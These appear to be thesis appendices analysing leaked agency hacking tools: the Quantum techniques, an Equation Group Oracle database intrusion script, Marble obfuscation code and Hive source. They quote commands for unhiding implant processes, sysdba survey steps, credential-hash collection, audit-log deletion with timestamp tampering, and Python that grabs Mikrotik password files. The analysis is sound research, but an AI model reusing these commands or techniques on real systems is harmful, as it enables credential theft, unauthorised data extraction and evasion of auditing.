In addition to the QuantumInsert method described above, NSA (a) lists the following
additional techniques:
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 QuantumBot which takes control of IRC bots, ﬁnds computers in botnets and hijacks
the command and control channel;
 QuantumBiscuit which enhances the QuantumInsert man-on-the-side technique;
 QuantumDNS which performs DNS injection or redirection against hosts or name-
caching servers;
 QuantumHand which successfully exploits targeted Facebook users;
 The hijacking of IP addresses for covert infrastructure (QuantumPhantom).
 QuantumSky which, much like the great ﬁrewall of China, uses spoofed RST packets
to deny access to webpages;
 QuantumCopper, which disrupts and corrupts ﬁle downloads or uploads.
Validator, which forms part of the back-door access system of the FoxAcid project is a
client-server system that makes use of a small trojan on the target Windows computer,
which communicates with the LP server which is continuously online (NSA, 2013b).
This allows for commands (upload, download, execute, get system information, change
ID and self-delete) to be relayed and acted on. Validator implants are usually replaced
by more sophisticated implants such as Olympus and UnitedRake.
Similar to Validator, the OlympusFyre exploitation system is a client-server system that
uses an implant on a Windows computer that can communicate with a listening post
server (NSA, 2013b). This allows commands such as listing directories and retrieving ﬁles
as well as performing network maps. The collected information is sent to the listening
post servers for analysis and further action.
Appendix E
Oracle Database Penetration
E.1 Oracle Database Operations Script
Oracle databases are enterprise class databases used in multiple industries. As databases
contain data they are rich targets for attackers seeking to gain information.Barnes and
Director (2011) write that databases allow attackers to harvest records in bulk with greater
than 95% of stolen records coming from databases in 2009.
The following analysis of leaked ﬁles was performed to enrich the thesis.
The Equation Group Leaks include a directory1 containing a number of ﬁles for gaining
access to and extracting information from Oracle databases.
There is an operation script2 which begins by performing various preparatory tasks e.g.
checking for disk space, creating a temporary directory, obtaining the home directory of
the oracle user and setting the environmental variables stored in that users's conﬁgura-
tion ﬁles. The script then obtains all the .ora conﬁguration ﬁles, e.g. listener.ora and
tnsnames.ora, which identify the oracle databases. A selection of SQL ﬁles is then copied
to the target: t0 which runs t0.sql which connects to the database as the sysdba user and
runs t1.sql ; the g1 ﬁle which runs the r1.sql ﬁle to connect as the sysdba user and run the
idb.sql ﬁle which performs a database audit e.g. audit records, objects, users, passwords,
tables, PL/SQL procedures, database links, and so on.
One of the four t1 SQL ﬁles: t1_full_survey.sql, t1_schema_only.sql, t1_sample_only.sql
and t1_no_survey.sql (which are used for performing a full survey, collecting the schema
only, collecting sample data or not conducting a survey of the database, respectively)
is run. Each of the t1.sql ﬁles writes its output to the sam8i.txt and sam80.txt ﬁles.
The sch.sql ﬁle is used by the aforementioned t-series ﬁles to collect the database schema
information.
1Linux/etc/oracle/
2Linux/etc/oracle/opscript
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The Oracle database opscript also reveals that due to the Oracle database requiring the
processes to be visible before it will allow them to query the database, hidden processes
of Incision and StoicSurgeon targets must be unhidden before querying.
For Incision machines, processes need to be unhidden using DittleLight (hidelite):
-pid
# Use the PID of the callback window in the command below #
./nscd -u -p <pid>
echo $?
For StoicSurgeon the process must be made visible to the Process ID (PID) of the Oracle
database's pmon (process monitor).
ps -ef | grep pmon
# Use the PID of the ora_pmon_$ORACLESID process in the command below #
-ctrl -P <PID>
The opscript directs the operator to note the list of database audit ﬁles before running
any survey scripts against the database so that any ﬁles created during this process can
be deleted to remove any evidence of the unauthorised access.
The survey begins by connecting to the database as the sysdba user and running the
previously described t1.sql script.
connect / as sysdba
@t1.sql
The script provides the option to collect Oracle user password hashes to allow them to
be cracked. If these passwords are recovered, they can be used in conjunction with the
mkall.sh script to generate user speciﬁc scripts to export the user's database.
The script provides examples on changing the language to American (English), simpliﬁed
Chinese or Arabic. This environmental variable is used with the existing variables to run
the g1 script which runs the r1.sql script to connect as sysdba user to run the idb.sql
script and send this output to a text ﬁle which is collected.
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The text ﬁle is then examined to determine if the database has auditing enabled as well
as the size of the stored data for each user. The opscript state that when the data exceeds
500MB, to instead use the r2.sql script which only fetches the schema. The database links
are also checked to see if plaintext passwords have been employed.
Survey scripts g2, s1.sq l and sch.sql are then uploaded along with one of the ﬁve s2_*.sql
scripts, two of which are for partitioned tables with the other three for non-partitioned
tables. Each s2.sql ﬁle contains references to a number of SQL queries stored in s1.sql,
which fetch the ﬁrst 150 rows with the option to either perform or exclude row counts for
the tables.
The sam8?.txt ﬁles are intended to be examined to inform the user survey stage which is
performed using the r2.sql script. This script is created using the shell scriptsmkr2_schema.sh
and mkr2sql.sh which require a user name as an argument.
The Oracle kit also contains a number of shell scripts which can be used to generate the
SQL script ﬁles needed for custom queries. The mkquery.sh script is used to create the
custom.sql ﬁle which is renamed to r4.sql and run with the g4.sql script.
The mkall.sh shell script takes the database user, password, SID, optional naming and
temporary directory arguments and runs the mkuser.sh, mksch.sh, mkexp.sh, mkexp.sh,
mktab.sh,mkg3.sh andmkscript.sh shell scripts to create the following ﬁles: DB_User_user,
DB_User_exp_script, DB_User_sch, exp_DB_User, exp_DB_User_sch, g3 and r3.sql.
The created ﬁles are uploaded and run to export the schema and/or the database belong-
ing to the previously speciﬁed database user.
Having concluded the exporting of schema and databases, the opscript details how to
clean up signs of the unauthorised access. It begins by setting the UID and GID back
to the root user and then rehiding the process for Incision or StoicSurgeon targets.
Database auditing is tackled by removing the database audit ﬁles that were created during
the period of unauthorised access and then using the touch command to change the
audit ﬁle directory's time-stamp to hide the signs of audit ﬁle deletion. Temporary ﬁles
and directories are removed from the target system. Local copies of the output ﬁles
downloaded from the target server are then made available for post-processing.
Appendix F
Marble Framework
Analysing the Marble Framework revealed that it consists of various components that
are used to obfuscate code to mislead and frustrate RE and analysis, such as Warble in
Listing F.1 and Figure F.1 as well as deobfuscate the code for the developers to be able
to work on it, for example Mender in Listing F.2.
#pragma endregion
sb.Append((LPBYTE)cFour, 7000);
CARBLE cFive[] = "Creates or opens a file or I/O device. \"The most ;commonly used I/O
devices are as follows: file, file stream, directory, physical disk, volume,
console buffer, tape drive, communications resource, mailslot, and pipe. The
function returns a handle that can be used to access the file or device for
various types of I/O depending on the file or device and the flags and attributes
specified. To perform this operation as a transacted operation, which results in a
handle that can be used for transacted I / O, use the CreateFileTransacted
function.";
↪→
↪→
↪→
↪→
↪→
↪→
↪→
sb.Append((LPBYTE)cFive, 547);
WARBLE wcOne[] = L" Text with \"weird spaces; in the text\n\n\t\tabc\x2233\x3344 124";
sb.Append((LPBYTE)wcOne, 100);
WARBLE wcTwo[] = L"Creates or opens a file or I/O device. The most commonly used I/O
devices are as follows: file, file stream, directory, physical disk, volume,
console buffer, tape drive, communications resource, mailslot, and pipe. The
function returns a handle that can be used to access the file or device for
various types of I/O depending on the file or device and the flags and attributes
specified. To perform this operation as a transacted operation, which results in a
handle that can be used for transacted I / O, use the CreateFileTransacted
function.";
↪→
↪→
↪→
↪→
↪→
↪→
↪→
sb.Append((LPBYTE)wcTwo, 1090);
WARBLE wcThree[] = {
0x0000, 0x1122, 0x3344, 0x5566, 0x7799, 0x0000, 0x1122, 0x3344, 0x5566, 0x7799,
0x0000, 0x1122, 0x3344, 0x5566, 0x7799,↪→
0x0000, 0x1122, 0x3344, 0x5566, 0x7799, 0x0000, 0x1122, 0x3344, 0x5566, 0x7799,
0x0000, 0x1122, 0x3344, 0x5566, 0x7799↪→
};
sb.Append((LPBYTE)wcThree, 60);
Listing F.1: Warble UTF8 header ﬁle excerpt 1 of 2
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Figure F.1: Warble UTF8 header ﬁle excerpt 2 of 2
F.1 Mender
* The mender is the post build execution step in the Marble Framework. The
* Mender restores the code to its original state after having been modified by the
* Mibster.
Listing F.2: Comment from mender.cpp
Appendix G
Hive Source Code Analysis
The release of the Hive source code in a git repository aﬀorded the opportunity to review
attacker tool source code rather than documentation or binary ﬁles.
This appendix provides sections of Hive source code which are referenced to substantiate
statements. Listing G.1 and G.2 show the attempt to obtain the password ﬁle on Mikrotik
devices while G.3 shows how Hive processes beacon data from various IP addresses.
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#FOR ALL MIKROTIK BOXES...
bboxSettings = self.get('Remote', 'busyboxName', 0)
if bboxSettings != "N/A":
print "\n Getting Mikrotik Password File, First Attempt at
/nova/store/user.dat...\n"↪→
ctCommand= 'file get /nova/store/user.dat pA_.'+self.get('Remote',
'remoteIP',0)+''↪→
cutT.sendline(ctCommand)
#
#
# Tries to get /nova/store/user.dat password file and save as pA_...
#
#
response="\["+self.get('Remote', 'remoteIP', 0)+"\]> "
index = cutT.expect( [response, 'Failure', pexpect.EOF, pexpect.TIMEOUT] ,
timeout=self.defaultTimeout )↪→
if index == 0:
print cutT.before
print cutT.after
now=datetime.now()
print " Got /nova/store/user.dat password file at
"+now.strftime('%m/%d/%Y at %H:%M:%S')+" hrs"↪→
elif index == 1:
print " No /nova/store/user.dat password file found..."
print cutT.before
print cutT.after
elif index == 2:
print "EOF occurred"
print cutT.before
print cutT.after
elif index == 3:
print "Timeout of %d occurred." % (self.defaultTimeout)
print cutT.before
print cutT.after
print "\n Getting Mikrotik Password File, Second Attempt at
/rw/store/user.dat...\n"↪→
ctCommand= 'file get /rw/store/user.dat pB_.'+self.get('Remote',
'remoteIP',0)+''↪→
cutT.sendline(ctCommand)
Listing G.1: Hive Reset grabs Mikrotik password ﬁle 1 of 2
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#
#
# Tries to get /rw/store/user.dat password file and save as pB_...
#
#
response="\["+self.get('Remote', 'remoteIP', 0)+"\]> "
index = cutT.expect( [response, 'Failure', pexpect.EOF, pexpect.TIMEOUT] ,
timeout=self.defaultTimeout )↪→
if index == 0:
print cutT.before
print cutT.after
now=datetime.now()
print " Got /rw/store/user.dat password file at "+now.strftime('%m/%d/%Y
at %H:%M:%S')+" hrs"↪→
elif index == 1:
print " No /rw/store/user.dat password file found..."
print cutT.before
print cutT.after
elif index == 2:
print "EOF occurred"
Listing G.2: Hive Reset grabs Mikrotik password ﬁle 2 of 2
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def preprocessFile( inputFile ):
#Return a dictionary used to postprocess the file after going through it
originally↪→
#bb_IP is the original bb_IP Address
#vps_IP is the original source IP Address
#retrieve all BeaconData
beaconData = dom.getElementsByTagName('ToolHandlerFile')[0].toxml()
for line in beaconData.split('\n'):
if '<IP>' in line:
oldIp = preProcessingResults['bb_IP']
nIp = preProcessingResults['vps_IP']
if nIp == '10.177.76.14':
nIp = '82.221.131.100'
elif nIp == '10.177.76.18':
nIp = '78.138.97.145'
elif nIp == '10.177.76.22':
nIp = '192.99.0.128'
elif nIp == '10.177.76.26':
nIp = '201.218.252.110'
elif nIp == '10.177.76.30':
nIp = '186.193.44.130'
elif nIp == '10.177.77.34':
nIp = '190.120.236.211'
elif nIp == '10.177.77.38':
nIp = '193.34.145.82'
elif nIp == '10.177.77.42':
nIp = '31.210.100.208'
elif nIp == '10.177.77.46':
nIp = '103.8.24.143'
elif nIp == '10.177.77.50':
nIp = '46.108.130.10'
ipLine = line.replace( oldIp, nIp)
#print ipLine
outfile.write(ipLine+'\n')
Listing G.3: Hive processRSI.py beacon data split
